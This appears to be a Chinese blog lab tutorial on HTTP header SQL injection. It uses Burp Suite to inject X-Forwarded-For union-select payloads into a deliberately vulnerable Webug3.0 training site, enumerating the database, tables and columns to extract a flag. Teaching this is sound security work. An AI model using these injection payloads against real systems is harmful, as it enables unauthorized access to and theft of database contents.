SOL注入——HTTP头部注入(2)(七)
本章目的
普及HTTP头部字段User-Agent、Referer、Cookie、X-Forwarded-For等的含义和作用,掌握HTTP头部注入的原理、方法及基本流程。
HTTPHeader概述
>请求报文(HTTP Request):由客户端发给服务器的消息,其组成包括请求行
(Request-Line)、请求头域(Header-Field)和请求体(Entity-Body)。
>响应报文(HTTP Response):由服务器回复给客户端的消息,其组成包括状态行
(Status-Line)、响应头域(Header-Field)和响应体(Entity-Body)。
HTTPHeader注入
有时候,后台开发人员为了验证客户端HTTPHeader(比如常用的Cookie验证等)或者通过HTTPHeader头信息获取客户端的一些信息(比如User-Agent、Accept字段等),会对客户端HTTPHeader进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTPHeader的注入漏洞
HTTPHeader注入的前提条件
>能够对请求头消息进行修改
>修改的请求头信息能够带入数据库执行
>数据库没有对输入的请求头做过滤
常见的HTTPHeader注入类型
>Cookie注入
>Referer注入
>User-Agent注入
>XFF注入
方法 | 描述 |
GET | 请求指定的页面信息,并返回实体主体。 |
HEAD |
类似于GET请求,只不过返回的响应中没有具体的内容,用于获取报头。 |
POST | 向指定资源提交数据进行处理请求(例如提交表单或者上传文件),数据被包含在请求体中。POST请求可能会导致新的资源的建立或已有资源的修改。 |
PUT | 从客户端向服务器传送的数据取代指定的文档内容。 |
删除 | 请求服务器删除指定的页面。 |
连接 | HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。 |
选项 | 允许客户端查看服务器的性能。 |
痕迹 | 回显服务器收到的请求,主要用于测试或诊断。 |
修补 | 是对PUT方法的补充,用来对已知资源进行局部更新。 |
类别 | 状态码 | 信息性 |
1XX | 请求正在处理 | 请求正在处理 |
2XX | 成功 | 请求正常处理完毕 |
3XX | 重定向 | 需要进行附加操作以完成请求 |
4XX | 客户端错误 | 服务器无法处理请求 |
5XX | 服务器处理请求错误 | 服务器错误 |
HTTPHeader内容
User-Agent:使服务器能够识别客户端使用的操作系统,浏览器版本等(很多数据量大的
网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)。
Cookie:网站为了辩别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常
经过加密)。
Host:客户端指定自己想访问的Web服务器的域名/IP地址和端口号。
X-Forwarded-For:简称XFF头,它代表客户端(即HTTP的请求端)真实的IP(通常一些
网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实
现伪造IP])。
client-IP:同上。
Referer:浏览器向Web服务器表明自己是从哪个页面链接过来的。
实验环境
攻击机:Pentest-Atk
(1)操作系统:Windows10
(2)安装的应用软件:sqlmap 、 Burpsuite、 FireFox浏览器及其插件Hackbar、 等
(3)登录账号密码:操作系统帐号Administrator,密码684268
靶机:A-SQLi-Labs
(1)操作系统:win 2003
(2)安装的应用软件:Apache、MySQL(MariaDB)、PHP:DVWA、SQLi-Labs、
webug3.0环境搭建
(3)登录账号密码:操作系统帐号root,密码248624
实验原理
有时候,后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证等)或者通过HTTP Header头信息获取客户端的一些信息(比如User-Agent、Accept字段等),会对客户端HTTPHeader进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞。常见的HTTPHeader注入类型包括Cookie注入、Referer注入、User-Agent注入、XFF注入等
本实验的目标是:以Webug3.0网站的第五关为入口,利用报错注入的方式实施SQL注入,获取网站后台数据库中存放的flag。
1.访问Webug网站
在攻击机Pentest-Atk打开FireFox浏览器,并访问粑机A-SQLi-Labs上的Webug
网站。webug3.0下载环境搭建使用_Gjqhs的博客-CSDN博客
2.利用Burpsuite工具抓包(建议点击链接查看)
(1)启动Burpsufte
在攻击机Pentest-Atk的桌面文件夹Burp中,鼠标左键双击BURP.cmd程序,启动Burpsuite。(每个人不一样)
(2)设置Burpsuite的代理服务端口
在Burpsuite软件界面上选择选项卡"Proxy“->Options”,在ProxyListeners模块下,将Burpsuite的代理服务端口设置为8080(此为Burpsuite默认的服务端口)。
(3)开启Burpsuite的代理拦截功能
在Burpsuite软件界面上选择选项卡“Proxy”->“Intercept”,将拦截开关按钮的状态设置为“Intercept is on”。
注意:上述设置完成之后,不要关闭Burpsuite!
(4)设置Firefox代理
回到FireFox浏览器界面,鼠标右键单击浏览器地址栏右方的 FoxyProxy插件 图标按钮,在弹出的菜单中选择“为全部URLS启用代理服务器127.0.0.1:8080(也可以用别的)
...
开始拦截
打开5:头部注入,并抓取
成功抓取:
(6)将Burpsuite工具拦截到的HTTP请求包发送至Repeater模块选中拦截到的HTTP请求包全部内容,单击鼠标右键,在弹出的菜单中选择“Send to Repeater”,将其发送给Burpsuite的Repeater模块。
后续的步骤中,可以在Repeater选项卡下的Request栏中设置注入的payload,设置完成后点击Send按钮发送,并在Response栏中观察目标服务器的响应。
3.寻找注入点
(1)对拦截到的HTTP请求包不做任何修改,直接点击Send发送,此时
Response->Pretty下显示的内容:
图像化:
(2)在原始的HTTP请求包中添加头部字段×-Forwarded-For,并使用如下
payload:
X-Forwarded-For:a'
由此可以判断,目标网站在头部字段XFF处存在注入点。
4.判断网站查询的字段数
使用如下payload判断网站查询的字段数:
X-Forwarded-For:order by 2
未报错!
看看那个报错了
X-Forwarded-For:order by 3
X-Forwarded-For:order by 4
X=Forwarded-For:order by 5
思考一下为什么
X-Forwarded-For:order by 5
由上述结果可以判断,网站查询的字段数为4
5.判断网站的回显位置
使用如下 payload判断网站的回显位置:
X-Forwarded-For:union select 1,2,3,4
由上述结果可以判断,网站有三个回显位置:2号位、3号位和4号位。
获取网站当前所在的数据库的库名
使用如下 payload获取网站当前所在的数据库的库名:
X-Forwarded-For:union select 1,database(),3,4
由上述结果可以得知,网站当前所在的数据库的库名为 pentesterlab。
7.获取 pentesterlab数据库中所有的表名
使用如下 payload获取 pentesterlab数据库中所有的表名
X-Forwarded-For: union select 1, group_concat(table_name), 3,4 from information_schema.tables where table_schema= 'pentesterlab'
由上述结果可以得知, pentesterlab数据库中含有 comment、flag、 goods和user四张表。其中,flag表中可能存放着flag信息
8.获取fag表中的字段名
使用如下 payload获取flag表中的字段名:
X-Forwarded-For: union select 1, group_concat(column_name ),3,4 from information_schema.columns where table_schema= 'pentesterlab' and table_name= 'flag'
9.获取flag表中的flag字段的内容
使用如下 payload获取flag表中的flag字段的内容
X-Forwarded-For: union select 1, flag, 3, 4 from pentesterlab.flag
由上述结果可以得知,该fag字段的内容为204f.....................b377。
实验至此结束。
SQL注入 ——sql数据库操作基础(一)
SOL注入——HTTP头部注入(六)
SQL注入——基于布尔的盲注(八)
...
更多包括而不限于SQL注入的文章,关注我全部带走吧( •̀ ω •́ )✧
SOL注入——HTTP头部注入(2)(七)相关推荐
- SOL注入——HTTP头部注入(六)
本章目的 普及HTTP头部字段User-Agent.Referer.Cookie.X-Forwarded-For等的含义和作用,掌握HTTP头部注入的原理.方法及基本流程. HTTPHeader概述 ...
- SQL注入--HTTP头部注入
实验目的 理解HTTP头部字段User-Agent.Referer.Cookie.X-Forwarded-For等的含义 和作用,掌握HTTP头部注入的原理.方法及基本流程. 实验原理 有时候,后台开 ...
- SQL注入-HTTP头部注入
访问SQLi-Labs网站 在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-11.访问的URL为: http://[靶机IP ...
- SQL注入——HTTP头部注入
实验目的 理解HTTP头部字段User-Agent.Referer.Cookie.X-Forwarded-For等的含义 和作用,掌握HTTP头部注入的原理.方法及基本流程. 实验原理 有时候,后台开 ...
- host头部注入漏洞--中危
host头部注入漏洞--中危 漏洞原理 漏洞知识扩展 漏洞验证 情况一 情况二 修复方案 漏洞原理 为了方便获取网站域名,开发人员一般依赖于请求包中的Host首部字段.例如,在php里用_SERVER ...
- 网络安全——HTTP头部注入
一.HTTP头部注入概述 1.HTTP工作原理 2.HTTP报文类型 (1).请求报文 (2).响应报文 3.HTTP头部内容 referer主要用来统计页面访问次数 二.HTTP头部注入 1.原理: ...
- Natas Wargame Level25 Writeup(头部注入+POST/GET注入)
sourcecode核心代码: 1 <?php 2 // cheers and <3 to malvina 3 // - morla 4 5 function setLanguage(){ ...
- 依赖注入?依赖注入是如何实现解耦的?
如何用最简单的方式解释依赖注入?依赖注入是如何实现解耦的? 第一章:小明和他的手机 从前有个人叫小明 小明有三大爱好,抽烟,喝酒-- 咳咳,不好意思,走错片场了.应该是逛知乎.玩王者农药和抢微信红包 ...
- Spring4.x(11)依赖注入-setter方法注入
依赖注入-setter方法注入 通过无参构造函数+setter方法注入. 一.编写CustomerDao接口 package com.yiidian.dao; /*** * @author http: ...
最新文章
- JavaScript夯实基础系列(四):原型
- 按计算机的地位划分计算机网络可分为,2010年全国自考计算机网络基本原理模拟试卷(三)及答案...
- 一个空值_MySQL数据库表中 NULL 和空值到底有什么区别呢?
- 【学习笔记】斜率优化
- HDU ACM 1162 Eddy's picture
- 一个老鸟发的公司内部整理的 Android 学习路线图 Markdown 版本
- Vue.js 模板语法
- JDK14性能管理工具:Jconsole详解
- VS, VS Code, VS Online, VS xxx, 你都分清了吗?
- iOS - Swift NSData 数据
- 中修改环境变量_Golang入门(1):安装与配置环境变量的意义
- XidianOJ 1090 爬树的V8
- 如何腾出计算机内存,电脑C盘又飘红?教你这样清理内存,可以轻松腾出大量空间...
- spring-mvc文件上传与下载
- [转载] Python使用list.reverse()返回None
- OSPFv3中LSA详解(七)——Type4类LSA详解
- Java基础知识强化之IO流笔记19:FileOutputStream的三个write方法
- 三星手机微信下载的文件路径
- c语言判断一个数独是否合法,判断数独是否合法
- 半导体——本征半导体、杂质半导体、PN结
热门文章
- c# 分类 机器学习_C#也能做机器学习?基于.NET的AI智能应用市场还是一片“处女地”...
- oracle10g优化器默认,Oracle10g数据库优化实用心得小结
- matlab组织的培训讲义,matlab培训讲义.doc
- python plt_python的plt
- hdfs中与file数组类似的数组_Chapter05 Java中的数组
- opencv函数findcontours_OpenCV系列之轮廓入门 | 二十一
- 博人眼球的 电子苍蝇
- 《c语言从入门到精通》看书笔记——第13章 预处理
- oneinstack_OneinStack lnmp网站环境部署Namecheap SSL安全证书方法
- 小米无法链接华硕路由器_2000元的华硕电竞路由器开箱,如此高贵,体验是怎样的?...